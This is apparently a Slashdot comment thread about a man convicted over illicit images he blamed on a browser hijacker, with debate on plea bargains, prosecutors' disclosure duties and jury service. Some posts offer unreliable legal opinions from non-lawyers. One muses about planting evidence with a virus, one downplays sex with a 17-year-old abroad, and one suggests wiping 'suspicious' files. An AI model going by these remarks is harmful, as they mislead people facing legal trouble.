In this case I was suggesting they could take a contingency fee for handling multiple cases - dismissing the charges against him, and then recovering the money from the state for wrongful arrest/etc.

Re:Yeah, that's highly likely!

[wattersa]

in fact it is against the Model Rules of Professional Conduct to accept a contingency fee in a criminal case or any divorce action. Sometimes the law gets it right...

Re:Yeah, that's highly likely!

[jhylkema]

This is not legal advice. You are not a client. I'm not even an attorney. If you want legal advice, contact an attorney admitted to your jurisdiction's bar. What I am saying here is probably 100% wrong and if you do anything in reliance upon it, you are a blithering idiot who deserves whatever bad shit is very likely to befall you.

Okay, now that the requisite idiot-proofing is out of the way . . .

The US Supreme Court passed on this issue a long time ago. The case was Brady v. Maryland 373 US 83 (1963). Quoth the headnote from the opinion:

Suppression by the prosecution of evidence favorable to an accused who has requested it violates due process where the evidence is material either to guilt or to punishment, irrespective of the good faith or bad faith of the prosecution. Pp. 86-88.

Another US Supreme Court case to pass on this issue was Kyles v. Whitley, 514 US 419 (1995). Here, Kyles was arrested with the murder victim's car, her groceries, and her purse. He was convicted and sentenced to death. He almost definitely did it, but because the prosecutor failed to turn over possibly exculpatory evidence, his conviction was tossed and he was released from Angola prison. So yes, the prosecutor does have to disclose possibly exculpatory evidence and no, it does not vary from state to state. HTH

Re:Yeah, that's highly likely!

[Animats]

That said, generally prosecutors have to turn over exculpatory evidence.

But when? Before trial, yes. Before asking for a guilty plea? No, apparently.

Re:Yeah, that's highly likely!

[Sycraft-fu]

Well that's just it, prosecutors are free to ask for a guilty plea at any time. As soon as you are charged (or indicted if the crime is serious enough to require it), they can ask you to plead guilty. You are not, however, required to accept the plea bargain.

A plea bargain is just that. The prosecutor offers to cut you a deal in the form of less time in jail and maybe lesser charges in exchange for a plea of guilty with no trial. The reason for this is trials are expensive, and not a sure thing. So if you are guilty, and if they have evidence that is likely to show you are, it is in your best intrests to take a plea bargain.

However they can't force it on you. You are gaurenteed your day in court. So, if you are innocent, you should NOT take the plea. Espically if there is exculpatory evidence. You can have your own experts look at the evidence, and, as noted, get the results from their expert. They aren't allwoed to say "nope, can't see what we are doing". You and your lawyer can, and should, look over their findings if you innocent to tear them apart.

Re:Yeah, that's highly likely!

[mpe]

It seems he was scared into just accepting whatever was handed to him. It never went to trial, never in front of any jury. I know the feeling...I was in a similar situation. Not from pornography, but something else. I didn't bother fighting it due to lack of resources:

This is more of a "lawyer problem" than a computer problem. There are cases of this kind of thing happening with people accused of all sorts of things.

He knows that he can't fight a system stacked against him. I wonder if he had a "public defender".

One who would prefer that his/her clients plead guilty or "plea bargin" rather than actually take any case to trial. In some cases this appears to be the specific policy of law firms. The people who tend to be "railroaded" in such cases are those unable to afford to pay their own lawyer and who are not habitual criminals (these tend to know how to "play the system".)

Re:Yeah, that's highly likely!

[chimpo13]

Jesse Lucious from the band Blatz was arrested for playing naked and had to register as a sex offender. Or maybe that's just a rumor. It's hard to tell with East Bay bands starting their own rumors.

Re:Yeah, that's highly likely!

[ArsenneLupin]

A very convenient excuse.

Especially since both his computer at work, and his computer at home were "compromized" with similar images:

In one case a man claims that a browser hijacker sent him to jail after compromising images of children were found on his work computer by an employer, who then reported him to law enforcement authorities.

"The police raided my house on Sept. 17, 2002," said "Jack," ...

Jack originally believed that the images found on his computer were from a previous owner -- he'd bought the machine on an eBay auction. But he now thinks a browser hijacker may have been responsible.

So, if he wants to do any explaining, he should focus on how it is possible that the same kind of incident impacted two different computers which were essentially independant of each other...

Re:Yeah, that's highly likely!

[Anonymous Coward]

Don't forget that a lot of /. readers are not from the USA and might naively believe that the justice system in the USA is about justice. It's about profit. Prisons are privately run (for profit), lawyers are out to get exceedingly rich, dishonest cops are looking for bribes, honest cops are looking for convictions and therefore promotions, judges are just lawyers who made it or who have political connections.

In short if you find yourself accused of a crime in America and you cannot buy your way out then you are fucked. Plea bargain is sort of a democratical version of the Stalinist interrogation technique. You have to admit you did something - or denounce someone else - and then take your "medicine" and you are temporarily free to go. Until the police are looking for someone next time...

Re:Yeah, that's highly likely!

[DrHyde]

prosecutors are evaluated on their conviction percentage

which is why the practice of electing prosecutors and police, as practiced in some jurisdictions, is really fucking stupid.

Re:Yeah, that's highly likely!

[BlackHawk-666]

Actually, there is a vampiric culture, and yes, they probably do need to get out of their parents basements. There is a sub-culture of people who believe themselves to be vampires and so drink other peoples blood. The blood is willingly given to them by donors, who may be friends or lovers. It is a form of erotica, and although not overly common, it still exists. No, they don't turn into bats and have magic powers, but they are undoubtably vampires.

Re:Yeah, that's highly likely!

[Clovert Agent]

It's coming. SP2 for XP contains an IE update with the long-awaited pop-up blocker. But really, is it so hard to download AdAware yourself? Teach people how to secure themselves, don't spoonfeed it to them. Teach a man to fish, right?

Re:Yeah, that's highly likely!

[julesh]

Moral of the story - use pop-up blockers. Run AdAware. Run AV software.

This isn't enough. I've come across browser hijack programs that install themselves using IE security failures and which aren't detected by AdAware or AV software. HijackThis found them, but I wouldn't recommend that software to a novice user... you need to actually understand how Windows works a little before you can use something like that.

There are flaws in the design of windows that make it possible for such programs to hide from inexperienced users. You'd think that searching through your hard disk using explorer would let you find all the files on there, right? Of course not. OK, you're smart enough to look at the options and turn on 'view all files'. That must get all files, surely?

Nope. Any files in your fonts directory or ie cache directory that aren't fonts or ie cache files _are not displayed anywhere_. You can't get to them with explorer. At all.

That, if you ask me, is just plain daft, and is a flaw that a lot of this shit relies on.

Another one - its possible on NT based systems to create files that cannot be accessed/modified/deleted by normal Windows programs. For instance, connect to a remote SMB share on an NT/2000 machine, and create a file whose name ends with a dot. Now go to the machine itself and try deleting it. It won't let you!

Re:Yeah, that's highly likely!

[sotonboy]

Phew, Thank god for that, I like to believe that buffy is real ....

Re:Yeah, that's highly likely!

[julesh]

Today, under the Sentencing Guidelines regime with its vast shift of power to the Executive, that disparity has widened to an incredible 500 percent

Yikes. In the UK, this kind of thing is strictly controlled and you can expect a reduction in sentence of the order of a third (I believe) for admitting the charges before trial. However, once you've done that it would become very difficult to appeal, probably impossible in most cases.

Re:Yeah, that's highly likely!

[Crayon Kid]

However they can't force it on you. You are gaurenteed your day in court. So, if you are innocent, you should NOT take the plea. Espically if there is exculpatory evidence. You can have your own experts look at the evidence, and, as noted, get the results from their expert. They aren't allwoed to say "nope, can't see what we are doing". You and your lawyer can, and should, look over their findings if you innocent to tear them apart.

Kind of a naive and idealistic view there, mate. Haven't you seen NYPD Blue? :) Being innocent may well have nothing to do with it. The cops and the prosecutor may decide to threaten with a sentence even if you're innocent, and if you have an iffy case they may well succeed. But that's not the point, the reason here is their attempt to make you give up something of interest. Probably not the case in this story, but the idea is that things are not necessarily black and white.

Re:Yeah, that's highly likely!

[dipipanone]

Jesse Lucious from the band Blatz was arrested for playing naked and had to register as a sex offender

So was he using a ten year old boy as a guitar or what?

Re:Yeah, that's highly likely!

[stor]

It is the sheerest sophistry to pretend otherwise.

Ahh sophistry, the gentleman's word for troll :)

Cheers
Stor

Re:Yeah, that's highly likely!

[flamingmoose]

Well, I hope he appeals. And gets access to his hard drive, so he can have his own experts analyze the data.

For a moment there I was thinking you wrote "And gets access to his hard drive, so he can have his porn back"...

Re:Yeah, that's highly likely!

[gnovos]

Maybe. But do you want to bet your future on your lawyer convincing a skeptical judge and jury that it was a technology problem? After all, they have evidence that the pictures were on your machine, under your control. I don't think I'd want to bet my future on that.

I always wondered about this. I'm sure I could write a perfectly good virus in a few days, maybe a week, that could infect the lawyers/judge/jury's computers and put the very same evidence I was being tried with onto thier machines. It seems to me, at that point, they withe rhave to let you off or else arrest the judge and jury.

Re:Yeah, that's highly likely!

[trawg]

I think the big problem is, most people just don't care enough about it to learn. Maybe after they've been SODOMIZED a little more by spyware companies and viruses stealing their CD keys and credit card numbers they'll realise that having a computer (...connected to the Internet) is like having a pet - it requires some level of responsibility.

Re:Yeah, that's highly likely!

[AppyPappy]

He now has to register as a sex offender, even though he denies that he did anything his computer says he did. Makes me glad for built in pop-up blocking in Mozilla."

Ohhhh...yeah. That. Well.......my....uhhhh....browser did it. That's it. My browser was taken over by aliens...no, adware and it went to all those sites and entered my credit card into those sites by ....uh....stealing it from Amazon. NO, eBay...yeah sneaky little bugger. And it also burned those CD's in my closet that are separated by ages.

Re:Yeah, that's highly likely!

[tkg]

Okay, now that the requisite idiot-proofing is out of the way . . .

Methinks you underestimate the ingenuity of the average idiot.

Re:Yeah, that's highly likely!

[glean]

Honestly, I would enjoy being on a jury. Simply to negate the above statement.
That is part of the problem, people complain, but are never involved. It it your duty to see that the legal system works. If it is inconvenient for you to spend 8 hours debating the fate of another man, then you shall have no recourse when / if your time comes before a jury.

Re:Yeah, that's highly likely!

[robinski]

I don't know... My computer recently installed (for itself with no provocation from me) a couple of casino games and a couple of spyware jobbys - at work, no less. Even better, when I removed the program I was presented a few minutes later by a message saying "We've noticed that Golden Palace has been removed from your system. Would you like to reinstall?" Some of the spyware, malware, adware and other crap you get on your system can do some pretty funny stuff all by itself.

Re:Yeah, that's highly likely!

[Jezza]

Well okay, BUT isn't the issue here that computers do lie. Maybe it'd be possible to look at the sites in question and see if a flurry of redirects is to blame?

Perhaps there is a case here for a browser with a transaction log? Seriously, surfers are being held more and more accountable for what they do on the web, maybe is isn't too much to ask that browsers actually keep an HONEST account of what was entered and what was clicked?

I agree there are some BIG issues with this (privacy?) but if it can stop you from going to jail, maybe it is worth it. The biggest problem I can see is from the computer logging passwords and personal details (credit card number?) but maybe this could be addressed.

Anyway I think being convicted on the evidence of IE is pretty unfair (as it stands). If a log of Internet activity is to be used against you, at least it should be a fair and reasonable account of your actions! Aren't the real criminals the ones with the illegal content?

Re:Yeah, that's highly likely!

[arkanes]

I should point out that you can only do all that stuff if you can afford it. Expert testimony in particular is very expensive, as is a lawuer who's go the time and inclination to defend you to that degree. Sadly, this happens all the time, especially with immigrants and the under-educated. The PD tells them to plea, they do, and they find out they're getting fucked. On top of that, the DA will relly put pressure on you to make that plea, and they're allowed to lie and claim things they don't know, etc, etc in order to pressure you.

You may be guaranteed the right to your day in court, but the system can and does make if very expensive and trying for you to actually claim it.

Re:Yeah, that's highly likely!

[swv3752]

Likely the pictures that got him convicted were likely some some sixteen year old girls from Europe. A number of Europena countries have lower ages of consent. Then top off that if a twenty year old girl with small breasts and a youthfull face can be considered child porn because the law goes by apparent age in photographs.

Re:Yeah, that's highly likely!

[sckeener]

As an aside...I've got a friend who's on the sex offender registry here in Michigan. He'd been accused of sexually abusing the child of a woman he'd thrown out of his house. (He'd been telling her to get a job and find another place to live for months...finally, he just threw her out. She turned around and filed charges. No medical evidence was offered, but it was still a better deal for him to take a plea bargain.)

I talked about my parents before in this /. article.

Basically if you get accused, fight any way you can because conviction rates are in the 90% across the country. Make the trail last as long as you can because Appeals are based on errors in the trail. Long trials=more errors. Remember it is going to cost tons of money.

There was no physical evidence linking my dad to the victim. My father was convicted and got 30 years for sexual assault even though the victim (3yr old) lived with a sexual offender (her brother 13yrs old.) The father of the victim was odd too because he would drive over to his divorced wife's apartment every wednesday just to bath the victim.

My dad will be 89 years old when he gets out. He was a lawyer. The trail and appeals cost him over 110 thousand, but those are small losses when compared to the life lost.

Parole for sex offenders in Texas doesn't happen unless you get it set at trial. My dad will be in there for the duration most likely.

Re:Yeah, that's highly likely!

[Scarblac]

uh? you actually NEGOTIATE such things before the thing is even INVESTIGATED properly?

This is why some countries do not extradite prisoners to the US anymore (besides the existence of the death penalty). The pressure to accept a plea bargain is so high that there really is not a fair trial anymore.

Re:Yeah, that's highly likely!

[Crashman_pnc]

Nope. Any files in your fonts directory or ie cache directory that aren't fonts or ie cache files _are not displayed anywhere_. You can't get to them with explorer. At all.

C:\WINNT\Fonts>copy con hello.txt
Hey there!
^Z
1 file(s) copied.

C:\WINNT\Fonts>print hello.txt

C:\WINNT\Fonts>dir *.txt
Volume in drive C has no label.
Volume Serial Number is XXXX-XXXX

Directory of C:\WINNT\Fonts

05/12/2004 09:34a 12 hello.txt
1 File(s) 12 bytes
0 Dir(s) 9,782,001,664 bytes free

Re:Yeah, that's highly likely!

[carlos_benj]

Twice as powerful in the 50's?

Re:Yeah, that's highly likely!

[A55M0NKEY]

Maybe plea bargaining should be illegal. Also, pleading guilty or no-contest should also be illegal. That way even the retarded who are not officially labeled that way or the scared or whatever would at least have someone try to prove their innocence. That would limit bullying by prosecutors too. It would remove the incentive to intimidate ( defendent MUST defend )

Then when people see non-hardcore criminals ( maybe some 18-20 yr olds that broke into someone's a summer camp and stole a couple bottles of whisky ) being sentenced to outrageously long prison terms that fill the jails the jail terms will be lowered. And kids that just happened to be found drinking the same brand ( possibly obtained by paying a bum to straw-purchase ) who did not actually steal it won't have to plead guilty to theft in order to avoid charges of burglery. ( and if 50 camps have had booze stolen recently, and they only stole from one camp, they won't have to plead guilty to all 50 burgleries to get a sentence lighter than if they'd gone to trial and been found guilty for the one just so the cops can close a bunch of cold cases. ) Maybe then the perpetrators of the other 49 burgleries will still have a chance of being caught.

Re:Yeah, that's highly likely!

[Phragmen-Lindelof]

I think prosecutors usually attempt to fairly apply the law to cases. However, it is well known that some prosecutors are unethical and innocent people are convicted. I think (hope) this is rare.
I would like to see new laws which send prosecutors to prison under certain conditions when ethical standards are violated. Prosecutors have a great deal of power (including the use of grand juries, essentially unlimited resources, etc.) and they should be held responsible for abuse.

Two examples of abuse: rape cases (Are you sure the guy in this picture did not rape you? Are you certain? Are you really sure?)
Hiding inadmissible testomony (Some states do not allow testomony by witnesses who underwent hypnosis; cases in which prosecutors hid the fact that hypnosis occurred and allow the witness to testify are known to exist.)

Re:Yeah, that's highly likely!

[ThisIsFred]

Like another poster said, you should be able to determine something from the timestamps on the files.

If the data's missing, or even more recently accessed than when he last had the machine, he could also go after the Justice Department for destroying evidence.

I don't see how time has anything to do with it. If he had a browser hijack, or a virus that installs malware, about all the dates would tell the court is how long the machine was compromised. The detection of any one of those "downloader backdoor" viruses or any type of adult-oriented malware programs should seriously cast in doubt any claims made by the prosecution.

On the other hand, since this never went to court, there isn't any "public" record of what was discovered. I don't know how we would know the full story here at all. I just see a lot of speculation. Considering how harshly dealt his punishment was, I'd venture to guess that it involved minors, and he may have be collecting and trading illegal material. But again, I'm only speculating.

Re:Yeah, that's highly likely!

[juhaz]

Likely the pictures that got him convicted were likely some some sixteen year old girls from Europe.

Does it matter? He wasn't in the Europe when looking at the pictures (would even that matter?). He's a citizen of USA and plays by their rules, even the pics come from Europe and are perfectly legal here.

On similar tracks of thought, but in the physical world: what happens if american tourist shags, let's say, 17 year old while on vacation in Europe? Is s/he a criminal when returning home.

Re:Yeah, that's highly likely!

[goatan]

I a prosicuter where offering me a plea bargain i would take it as a sign that his case is weak because why plea bargain if you can get them put away on the evidence.

Re:Yeah, that's highly likely!

[poot_rootbeer]

Like another poster said, you should be able to determine /something/ from the timestamps on the files.

Yeah, you can determine the parameter used by the last person to run touch on that file. Not altogether helpful, that.

Re:Yeah, that's highly likely!

[lonesome phreak]

I would agree completely. I think I might actually look into my case more, and perhaps even call the law firm I was assigned...even though it was many years ago, the entire incident still upsets me and affects me to this day.

Re:Yeah, that's highly likely!

[Anonymous Coward]

The grandparent did say Explorer. Not too many Windows users know that much about cmd.exe to realize that there's other ways to view files.

Re:Yeah, that's highly likely!

[Erwos]

I agree. I make it a point to NOT try to get out of jury duty, and I think of myself as a fairly intelligent person. Maybe if people took their societal obligations more seriously, and didn't subscribe to the idea of "getting out of jury duty is a good thing", we'd have fairer courts.

There is some blame to be laid on the system for pulling in 400 people for duty and only using 12*(3 to 6) of them, though. Jury duty is often perceived as a waste of time because of that. What we really need is to remove the BS pre-emptory strikes system that leads to racial/gender bias in the jury box.

If you want fairer courts, folks, the first thing to do is to not dodge the jury "draft", so to speak.

-Erwos

Re:Yeah, that's highly likely!

[jebell]

That's an interesting idea. The only problem with it is that many crimes would go unprosecuted, as the court system would be overwhelmed with cases. Right now, at least 95% of all cases end up in a plea and the courts are still overwhelmed.

Re:Yeah, that's highly likely!

[ichimunki]

Expert testimony in particular is very expensive,

The real problem is finding credible experts. Otherwise I bet there are a lot of unemployed Slashbots who would love the chance to help a guy beat this kind of rap (or would be glad to be the counter-expert, as well).

Obviously our legal system has a real problem if someone can be accused of a crime by groups like the DA and the police department who have enormous investigatory powers and extensive resources, but their only defense is some overworked PD who can't even afford a decent expert in areas that might produce exculpatory evidence.

The U.S., having one of the highest per capita prison populations in the world and still having pretty serious crime issues, really needs to sit down and figure something out. Is it our culture? Is it the form of the legislation? Is it the legal system? Probably it's a combination of all of these... so how do we unravel the knot? Or do we need to cut the knot entirely? Is the great American experiment truly a success? Maybe it's time to dissolve the union?

Re:Yeah, that's highly likely!

[jebell]

How much ignorance do/have you seen with regards to somewhat obscure computer knowledge such as browser caches (or tmp files, or /var/log files)? I know you said you haven't dealt with sex crime_internet cases, but I'm more interested in the IT cases overall. Who does the presiding judge tend to believe - those who can present the case in the terms the judge can understand, or the experts who really are cognizant of the technology involved? Is there a significant ratio? (I know they are not mutually exclusive, I'm wondering about the cases where they weren't, which in IT patent cases seem to be too often.)

I don't know if you'll read this, since I went to bed last night before seeing your comment.

At any rate, my experience with computer evidence, as a prosecutor, is pretty thin. Because I was a CS major in college, I volunteered at my brother's office (at that time, he was also a prosecutor) to check defendants' computers for child porn. His office did not have access to modern forensic software that will find and preserve the chain of evidence for that kind of material.

I never went to trial in any case involving computerized evidence. At best, the most I can personally attest to are emails printed from a defendant's computer, the authenticity of which wasn't in dispute.

I have presented evidence requiring expert testimony, though, for different things (breath alcohol testing was common, as was accident reconstruction and medical opinions). You must remember that it's not the judge you have to convince, at least in my jurisdiction - it's the jury. You have to present it in terms the jury can understand because if you don't, the other side's expert will.

Re:Yeah, that's highly likely!

[corbettw]

On similar tracks of thought, but in the physical world: what happens if american tourist shags, let's say, 17 year old while on vacation in Europe? Is s/he a criminal when returning home.

I think it depends. I've heard of cases where guys were arrested for going to Thailand to have sex with a minor, but in those cases they went to Thailand specifically to have sex with said minor. If you went to Holland and hooked up with a little hot 17 year old whom you met at a club, but it wasn't premeditated, you'd probably get away with it. But crossing a state or national border to commit a crime is itself a Federal offense, so the best idea is to be careful.

Re:Yeah, that's highly likely!

[jebell]

Even that's probably not going to fly; as another comment pointed out, it's against the MRPC to do something like this.

In any event, you have a hard road to hoe if you're going to recover against the government for wrongful arrest/prosecution. You've got to prove that they acted with bad faith or acted maliciously. If this guy did indeed have illegal pr0n on his computer, the government was within their right of prosecutorial discretion to charge him.

Re:Yeah, that's highly likely!

[spiny]

do you really work for the government?

it would explain quite a few things ...

Re:Yeah, that's highly likely!

[corbettw]

Interesting. The gp specifically mentioned "producers" of child porn, and said nothing about doing anything to poor old "Jack". In fact, his anecdote implies sympathy for the guy ("The same thing happened to me"). When he, quite rightly, calls for the death penalty on people who rape children, you jump all over him, saying he too should be killed.

Truly, idiocy knows no bounds.

Re:Yeah, that's highly likely!

[Moloch666]

A simple tip I always use. When typing the sentence say in your mind "It is" regardless. If it makes since, then "It's" is ok. If not then it should be "Its".

I'm not a spelling nazi, but when typing something important then you must be a "nazi". Most of the posts on /. people were drunk anyway. I've posted a few times drunk myself.

Re:Yeah, that's highly likely!

[goatan]

What like i wouldn't agree to roll over and have my tummy tiggled like a good pet. and no i don't for the government i'm a civil servant so work for the people.

Re:Yeah, that's highly likely!

[scrytch]

> Honestly, I would enjoy being on a jury.

Just hope you don't get sequestered for several weeks. Jury duty pays a princely twelve dollars a day. Your employer can't fire you for being on jury duty, but they don't even have to pay you (most will only pay a couple days).

Hope you don't have bills to pay.

Re:Yeah, that's highly likely!

[Jo Owen]

Sex offences do not have to do anything todo with young kids and old men.

A sex offender is anyone who has commited a crime of a sexual nature. ie, A 16 year old guy having sex with his 15 year old girlfriend, a 20 year old male couple having anal sex. Both are sex offenders.

Re:Yeah, that's highly likely!

[bonkedproducer]

News Account
Conviction News Story

Forgive the lack of hyperlinks, I live in a backwater southern community that can't figure out how to archive older news stories, but I was able to find a few blurbs. Last August the Mayor of a small, (and I mean literally everyone knows everyone that lives there) community near here was convicted of child pornography because he recieved e-mails that contained the photographs, something not listed in the articles above but was covered in the news, is that the reason he was charged and the images found, was that an anonymous tip came in to the FBI at almost the exact time of the time stamps on the e-mails to his Web TV box (he didn't even own a true "computer".)

Now, this is the classic stereotypical small town that has had shootings/fueds over elections, etc, as recently as the 80s. Keep that in mind.

I personally know the attorney that defended the 63 year old mayor in court, and trust me, he isn't exactly a techno-whiz, I wouldn't be surprised if he asked me "so where do they keep the Internet?"

What is most interesting is the fact that the FBI was able to check the e-mail through the ISP so fast that some of them hadn't even been checked by the Mayor yet - and yet he was still convicted.

I know that the technically proficient /. crowd has no problem realizing that this guy was obviously set-up. I don't think he had enough skill to know how to google for something, let alone find his way into an underground kiddie porn ring, and most odd to me, no charges were ever brought against the senders of the e-mails.

I followed this case pretty close, because it was frightening to me that someone that doesn't like you can destroy your entire world by simply clicking send to your e-mail address while making an anonymous call to the FBI that you are a terrorist, kiddie pornographer, insert bad apple of the week here. What shocked me is that they were able to get a conviction in the case.

Not all that different from the case in TFA. And a scary thought that the technophobes that tend to wear the robes in the country have far too much power over that which they do not understand.

Re:Yeah, that's highly likely!

[bonkedproducer]

Uhhh.. RTFC (c for comment) he was referring to the producers of the web sites I believe, not the individuals that saw the web sites... I think you may have jumped a bit too harshly on the parent.

Re:Yeah, that's highly likely!

[bonkedproducer]

Oh yeah that's right, those of us with technical skill shouldn't be allowed to have the lower cost of hardware, the jobs created by, or the enjoyment of the majority of technical benefits of our little hobby becoming mainstream because not everyone is as skilled as us.... hmmm... what a lovely little world you want to live in DrHyde.

Re:Yeah, that's highly likely!

[JimFromJersey]

> I a prosicuter where offering me a plea bargain

Holy Jesus! I thought you lobster-backs were supposed to be educated?!!? What the fuck kind of sorry ass excuse for a pile of linguistic vomit do you call that mangled crap?

Re:Yeah, that's highly likely!

[jarnhestur]

This is a major problem with the US legal system; Because punishments are so severe...

Wow, that's the first time in awhile I've heard anyone claim that our court system is TOO harsh.

People do horrible things all the time and get off with only a few years behind bars.

Re:Yeah, that's highly likely!

[http]

Someone modded this as Offtopic, and someone else marked it as underrated, but I believe it is a troll, in the usual sense: false information designed to fuck up newcomers, having the appearance of credibility.
Which OED did you refer to? I checked with Oxford Dictionary of English Etymology, the Concise OED, and (god the fucker's heavy!) the Shorter OED for 'vampyre' and none of them had it. While the ODEE is hardly thorough, and the Concise is just that, I can't see the Shorter OED leaving out an accepted alternate spelling of a common word. Really, it has an entry for "Jail, gaol"!. However, the possibility exists that you had the full 20 volume set just next to your computer...
Can you tell me what volume I'll find it in when I go out to the stacks to look at the full set?

Re:Yeah, that's highly likely!

[the_mad_poster]

Way to add value to the comments page, Jim Dandy. Some folks may tell you the mods are here to keep the signal to noise ratio high, but don't you let that slow your braindead attempt at dragging us all down into a self-masturbatory mindrot with you.

Re:Yeah, that's highly likely!

[shadowbearer]

Good point - but I was thinking mostly of civil cases and not criminal. I asked the question wrong, I think - and I find it weird I was modded insightful for it, rather than interesting :)

Cheers
SB

Re:Yeah, that's highly likely!

[dipipanone]

Um, I know what a sex offender is. Do you know what a *joke* is?

Re:Yeah, that's highly likely!

[rodgster]

Look, I'm going to try not to insult you, but the fact are:

If the Justice System had to convict everyone by jury trial the system would collapse.

And while you're thinking of that, how about this:

If juries were paid a REAL wage (like what they would make if they were are at their regular job) maybe you'd have competent juries. Not just retirees and the people who are too stupid or afraid to bullshit their way out of it.

Someone please tell me why the police make a living wage, the prison guard make a living wage, the attorneys make a living wage (and then some). the judge makes a living wage, but jury makes what I spend on lunch?

Tell me who would do it?

Except for retirees (nothing better to do and who better to judge high tech issues) or someone who's employer pays the difference (yea right.... not in these days).

I've been called for jury duty many times and always managed to avoid it. Is it because I don't want to do my "civic duty"?

Part of the answer is that most DAs, attorneys and their jury insultantant (yes I spelled it wrong) can't read how I'll vote and will pre-emotively challenge me. If it even gets that far. The various exemptions have worked great for many many years.

Here's a novel thought:

How about if you pay the juries the same as you pay the attorneys, judges, cops, etc.

There'd be no problem filling jury pools then. You'd probably have a problem with professional jurists then.

I mean seriously you could make more money with a sign at a freeway off ramp than you could pulling jury duty.

That's what I'd call a fair trial. Right.

Re:Yeah, that's highly likely!

[glean]

Well, my employer does, in fact, pay my full wages for the time that I would spend on jury duty.

Re:Yeah, that's highly likely!

[glean]

Oh, I forgot to mention, I live in Canada.
If you really want to understand how your legal system works, and should work, I suggest that you read a little more about it.
And if I were American, this would be the only reason I would need: "It is not only his right but his duty...to find the verdict according to his own best understanding, judgment, and conscience, though in direct opposition to the direction of the court." John Adams - Your 2nd President

Probably...

[Metallic Matty]

He was probably looking at porn in the first place. Not that I think that condones him being a register sex offender. But that was probably what started his sexual onslaught. (A lot of the porn sites love browser tricks, just one more reason for the avid geek to use Mozilla.)

Re:Probably...

[Anonymous Coward]

Popup blocking, tabbed browsing, superfast layout engine, ability to turn on and off javascript. Makes you wonder if the developers of Mozilla were really trying to make a better pr0n browser, eh?

Well, they succeeded.

Re:Probably...

[pseudochaotic]

You laugh, but porn sites often have the worst of the popups, etc. If your browser can safely navigate a porn site, it can go anywhere.

Re:Probably...

[DrLZRDMN]

you mean they weren't???!!

Re:Probably...

[zulux]

It's Pornzilla

The Best Porn Browser

Re:Probably...

[isorox]

I use lynx for all my porn needs

Re:Probably...

[swtaarrs]

Well the image rendering library is named libpr0n :)

Re:Probably...

[MikeXpop]

"Oh man, check out the META tags on her!"

Either that, or Ascii Pr0n NSFW

Re:Probably...

[MikeXpop]

er... that's ASCII Pr0n NSFW.

Preview, preview, preview, preview.

Re:Probably...

[bwy]

I really had no idea how bad popups had gotten (since I haven't seen them in years) until trying to use my sister's computer over the weekend. Even the "standard" sites have popups. I went to a few places like cnn and so forth, and after closing the browser realized there was a stack of popups.

What is funny is how easily these things are to dispose of. The advertisers are damn lucky that more people don't have brains. Otherwise, a 5 minute download for most folks and they'd never see the ads again!

Re:Probably...

[Short Circuit]

I remember one occasion when I was surfing pr0n at my grandparents house with Netscape 3. (Hey, I was, like, 11 at the time.) Popups got out of control, and my grandmother was coming down the stairs. So I powered off the machine, and told her it crashed.

I didn't learn from that close shave. They later caught me, but that was when I was depending on the angle of the monitor.

I don't do that at their house any more...

Re:Probably...

[AvantLegion]

I use lynx for all my porn needs

Here you go, buddy.

Re:Probably...

[Greventls]

there is a reason they are deceptive you know. Otherwise it would make the job of the police that much easier.

Re:Probably...

[nametaken]

It's Pornzilla

OK, lets not start changing the name "Mozilla" now too.

Re:Probably...

[isorox]

Hot gay penguin action

Got any ASCII of that?

Re:Probably...

[tompaulco]

I've noticed that gaming sites are very bad about popping up porn as well. Which is disgusting considering the number of kids that go to gaming sites.

Re:Probably...

[Dave2 Wickham]

Perhaps they were ;)

Stupid hijackers

[unassimilatible]

I swear your honor, it wasn't me that downloaded the pr0n, printed it out, and made the pages stick together! It was the dern browser hijackers!

stop this? me?

[saintbp]

what's the best way to get rid of this crap? some public computers at my job have been taken over by this kind of software...what can i do to fix them?

It's also a great excuse

[Anonymous Coward]

used by many a "real" sex offender.

"Honest, it was a trojan your honour"

Re:It's also a great excuse

[GNUguy]

If I could mod, I would mod this up as funny!

LOL!

-G

Child Porn or what?

[panic911]

Was the guys cache filled with child porn or something?

How does looking at porn make you a sex offender? If it's illegal then arrest me right now.

Re:Child Porn or what?

[KingOfBLASH]

Was the guys cache filled with child porn or something? How does looking at porn make you a sex offender? If it's illegal then arrest me right now.

Some explanatory paragraphs from the article:

"When I used search engines, sometimes I got a lot of porn pop-ups," Jack said. "Sometimes I was sent to illegal porn sites. When I tried to close one, another five would be opened without my will. They changed my start page, wrote a lot of illegal porn links in favorites. The only way to stop this was turn the (computer's) power off. But when I dialed up to my server again, I started with illegal site, then got the same pop-ups. There were illegal pictures in pop-ups."

Security experts who were asked to review Jack's claims said it is possible that a browser hijacker could have been the reason porn images were found on Jack's computer. But they also pointed out some discrepancies in the story.

Some of the images were found in unallocated file space, and would have to have been placed there deliberately since cached images from browsing sessions wouldn't have been stored in unallocated space.

Brian Rothery, a former IBM systems engineer who has been researching Jack's claims, pointed out that a significant portion of the images and URLs cited in the arrest papers are from fairly tame nudist sites, as well as adult sites that do not contain illegal materials.

Re:Child Porn or what?

[bwy]

These days, any combination of innocent things can make a trial by jury a very dangerous thing for an innocent person.

Case in point. Say a neighbor asks if his kid can come over to my house one afternoon for help with his math homework or something. Say the kid isn't as well adjusted as I thought, and tells everyone I touched him.

Well, that alone means I am now guilty in todays world. But enter the detectives. They take my PC and find that I have some porn in my cache. Most of it is adult porn which is bad enough. But then they go and do ID checks on some of the pics and turns out the girls were mature looking 16 year olds. Fuck, now I'm just sick- a true pedophile.

By now, the community has been told who I am. There are posters up in my neighborhood. My employer fires me. Even if I don't get convicted for some reason, my life is still over. And if I do get convicted, I'm now taking it in the butt in some federal pound-me-in-the-ass prison. In which case I'd probably kill myself.

Anybody can disagree with me if they like, but this kind of shit isn't a stretch. The story was bad enough even if I didn't have porn on my box, but that fact just kind of seals the deal.

Re:Child Porn or what?

[Anonymous Coward]

The sad state of affairs in today's world is why I make it a policy to never be near children outside of a large group situation. As long as there are lots of people around and you are never alone with the child, its awful hard to be accused of anything.

Also since almost all browser hijackers are designed for IE on Windows, I browse on a different platform with a different browser. Not a 100% guarantee, but every little bit helps.

Also remember to clean your browser caches often and clear off your hard drive of anything suspicious...

Unfortunately, a certain amount of what might seem like paranoia is just being prudent these days.

Re:Child Porn or what?

[KingReuben]

Just the fact that you told the above hypothetical tale brands you!

Psycho ex's love throwing this one out there in an attempt at revenge/punishment/$$$ ... Really sick

Re:Child Porn or what?

[AKnightCowboy]

Case in point. Say a neighbor asks if his kid can come over to my house one afternoon for help with his math homework or something.

